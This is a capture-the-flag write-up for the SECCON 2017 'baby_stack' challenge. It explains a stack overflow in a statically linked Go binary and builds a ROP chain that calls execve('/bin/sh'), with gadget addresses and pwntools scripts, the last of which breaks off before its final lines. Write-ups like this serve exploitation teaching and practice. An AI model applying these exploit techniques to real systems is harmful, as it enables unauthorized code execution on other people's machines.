Host : baby_stack.pwn.seccon.jp Port : 15285 baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
Overflow the Buffer
We have a go executable which is harder to reverse than c, by reading the challenge title we can see that this challenge is probably about a buffer overflow in the stack, another thing we also notice that the binary is statically linked:
1 2
$ file baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, with debug_info, not stripped
Since is statically linked we know that this binary isn’t going to use the libc file in our system, every libc function used is embedded in the binary itself, this a problem we can’t just jump into libc because some useful functions like system aren’t present, but we can still build a ROP chain that does a system call to execve, this is very similar to writting shellcode but instead of writting a script we are going to use gadgets to build it.
By checking the security of the binary we can see the only protection enabled is NX (Non-Executable Stack).
$ ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 Please tell me your name >> A Give me your message >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa unexpected fault address 0x0 fatal error: fault [signal 0xb code=0x80 addr=0x0 pc=0x456551]
We did overflow the buffer but what really happened here? If you look at the stack traces we aren’t really getting a segmentation fault because we are replacing the ret address, the exception is occurring because we are changing the parameters of fmt.Printf, the binary isn’t reaching the ret instruction because of this, we need to set some break points before this prints to put the correct addresses on them, something that doesn’t crash the program.
To check good breakpoint addresses I used IDA, radare2 was way too slow and didn’t gave me nice results on it, after opening it in IDA I searched for a function named main_main and tryed to find a function bufio___Scanner__Scan which in go is a function that reads inputs from the STDIN.
Checking it on another view to check its addresses:
After setting some breakpoints in the printf’s after those 2 scans, I realised that the padding needed to reach the 1st parameter was 104 so we can start testing it in the binary:
1 2 3 4 5 6 7 8
$ python -c "print 'A'*104 + 'BBBBBBBB'" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB $ ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 Please tell me your name >> A Give me your message >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB ... runtime.memmove(0xc82000e30b, 0x4242424242424242, 0x1) ...
There it is, we are replacing the address of the string that printf wants to print, we can’t continue overflowing the rest to reach the ret instruction, to get this valid address I just picked a value that I got from gdb from the stack:
gdb-peda$ b *0x4011D2 Note: breakpoint 1 also set at pc 0x4011d2. Breakpoint 2 at 0x4011d2: file /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go, line 18. gdb-peda$ r Starting program: /baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 [New LWP 8293] [New LWP 8294] [New LWP 8295] Please tell me your name >> A
For example an address from the stack can be something like 0xc82003fd58 with this we can start writing the exploit:
1 2 3 4 5 6 7 8
from pwn import * padding = 'A' * 104 + p64(0xc82003fd58) + 'AAAAAAAA' process('./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8') r.recvuntil('Please tell me your name >> ') r.sendline('A') r.recvuntil('Give me your message >> ') r.sendline(padding) r.interactive()
By running it we can see we are still replacing another parameter from printf:
1 2 3 4 5 6 7 8 9
python writeup.py [+] Starting local process './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8': pid 8433 [*] Switching to interactive mode panic: runtime error: growslice: cap out of range
In this case we are replacing the number of characters that are going to be printed by printf! for example if we set the next 8 bytes to be 0x0000000000000002, printf will print 2 characters starting by the address we gave before in the previous 8 bytes (0xc82003fd58). So lets readjust our script to do this:
1 2 3 4 5 6 7 8
from pwn import * padding = 'A' * 104 + p64(0xc82003fd58) + p64(0x3) process('./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8') r.recvuntil('Please tell me your name >> ') r.sendline('A') r.recvuntil('Give me your message >> ') r.sendline(padding) r.interactive()
1 2 3 4 5
$ python writeup.py ... Thank you, \x18\x00\x00! msg : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [*] Got EOF while reading in interactive
As you can see we are no longer seg faulting and as I said before you can see that only 3 bytes are being printed after the string “Thank you, “ we need to calculate the offset to the next printf and do the same thing, give an address and the number of bytes to be printed, only then we can replace the return address with success! So after calculating everything our script will look like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
from pwn import * off_printf1 = 104 off_printf2 = 80 off_retaddress = 192 padding_printf1 = 'A' * off_printf1 + p64(0xc82003fd58) + p64(0x3) padding_printf2 = 'A' * off_printf2 + p64(0xc82003fd58) + p64(0x3) padding_retaddresss = 'A'*off_retaddress + p64(0xdeadbeef) padding = padding_printf1 + padding_printf2 + padding_retaddresss r = process('./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8') r.recvuntil('Please tell me your name >> ') r.sendline('A') r.recvuntil('Give me your message >> ') r.sendline(padding) r.interactive()
And finally we succefully smashed the stack! and replaced the return address to 0xdeadbeef:
Now that we replaced the return address to 0xdeadbeef we can finally start by doing our ropchain, to build this ropchain we need to know a bit of assembly but first we need to know how a syscall works as assembly and which registers it uses as arguments:
1
syscall(RAX, RDI, RSI, RDX)
Where RAX is the system call number and RDI must have an address that points into ‘/bin/sh’ the rest of the registers are about the arguments! in this case we can just set them into zeros… So to build a successful ropchain we need to search some good gadgets.
Setting /bin/sh address to RDI
First of all we need to store /bin/sh into memory, we need a valid address to store it so we actually need to find a nice one to store our string, normally we want to use the .bss data segment, we can find it’s address in IDA:
.bss is perfect its address doesn’t change on different runs because PIE protection isn’t enabled, and as the picture above says in IDA we have read and write permissions which is what we want.
Now we need a special gadget for this, we need something that moves data from a register into a memory address, the ideal gadget would be MOV [RDI], RAX, with the preference that it’s a qword MOV, since /bin/sh is a quite big string we need a 64bit MOV (if a 64 bit MOV weren’t available we could do it by spliting into multiple moves), so lets check with ROPGadgets, if we have a 64bit MOV:
There we go, the mov qword ptr [rdi], rax ; ret is the gadget we need! we just need to store the .bss address into RDI, and the string /bin/sh into RAX, to store them into RDI and RAX we need gadgets like POP RDI ; RET and POP RAX ; RET, this gadgets will get the value on the top of the stack and store it in the respective register that’s what POP does:
1 2 3 4 5 6 7 8
$ ROPgadget --binary baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep 'pop rdi ;' 0x000000000044a282 : pop rdi ; adc eax, 0x24448900 ; and byte ptr [rcx], bh ; ret 0x000000000042274f : pop rdi ; add byte ptr [rax], al ; add rsp, 0x20 ; ret 0x0000000000429eea : pop rdi ; call 0x401008 0x0000000000470931 : pop rdi ; or byte ptr [rax + 0x39], cl ; ret $ ROPgadget --binary baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep 'pop rax ; ret' 0x00000000004016ea : pop rax ; ret 0x0000000000429283 : pop rax ; ret 0xf66
We have both gadgets but as we can see the pop rdi ; or byte ptr [rax + 0x39], cl ; ret gadget has an instruction between POP RDI and RET, We require to set RAX into a valid address before using this gadget otherwise we SEGFAULT.
Finally we have everything we need to store the address of /bin/sh into RDI:
1 2 3 4 5 6 7 8
# setting /bin/sh into bss address ropchain += p64(0x4016ea) # pop rax ; ret ropchain += p64(BSS) # @.data ropchain += p64(0x0000000000470931) # pop rdi ; or byte ptr [rax + 0x39], cl ; ret ropchain += p64(BSS) # @.data ropchain += p64(0x4016ea) # pop rax ; ret ropchain += '/bin/sh\x00' ropchain += p64(0x0000000000456499) # mov qword ptr [rdi], rax ; ret
Clearing RSI and RDX
Now that we have the address of /bin/sh in RDI we need to clear the registers RSI and RDX into zero, we can do this with POP RET gadgets :
1 2 3 4 5 6 7
# clear rsi and rdx registers ropchain += p64(0x4016ea) # pop rax ; ret ropchain += p64(BSS) # @.data ropchain += p64(0x00000000004a247c) # pop rdx ; or byte ptr [rax - 0x77], cl ; ret ropchain += p64(0x0) ropchain += p64(0x000000000046defd) # pop rsi ; ret ropchain += p64(0x0)
And finally we can’t forget to set RAX into the execve system call number which is 0x3b, you can get a full list of system call numbers at https://filippo.io/linux-syscall-table/ , once again we can use POP RET gadget to do this:
Setting 0x3b into RAX
1 2 3 4 5 6
# setting rax into execve 0x3b syscall number ropchain += p64(0x00000000004016ea) # pop rax ; ret ropchain += p64(0x3b)
# call system call ropchain += p64(0x0000000000456889) # syscall ; ret
defgetConn(): return process('./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8') if local else remote('baby_stack.pwn.seccon.jp', 15285)
local = False r = getConn()
padding = 'A' * 104
r.recvuntil('Please tell me your name >> ') r.sendline('A') r.recvuntil('Give me your message >> ')
BSS = 0x59F920 ropchain = ''
# setting /bin/sh into bss address ropchain += p64(0x4016ea) # pop rax ; ret ropchain += p64(BSS) # @.data ropchain += p64(0x0000000000470931) # pop rdi ; or byte ptr [rax + 0x39], cl ; ret ropchain += p64(BSS) # @.data ropchain += p64(0x4016ea) # pop rax ; ret ropchain += '/bin/sh\x00' ropchain += p64(0x0000000000456499) # mov qword ptr [rdi], rax ; ret
# clear rsi and rdx registers ropchain += p64(0x4016ea) # pop rax ; ret ropchain += p64(BSS) # @.data ropchain += p64(0x00000000004a247c) # pop rdx ; or byte ptr [rax - 0x77], cl ; ret ropchain += p64(0x0) ropchain += p64(0x000000000046defd) # pop rsi ; ret ropchain += p64(0x0)
# setting rax into execve 0x3b syscall number ropchain += p64(0x00000000004016ea) # pop rax ; ret ropchain += p64(0x3b)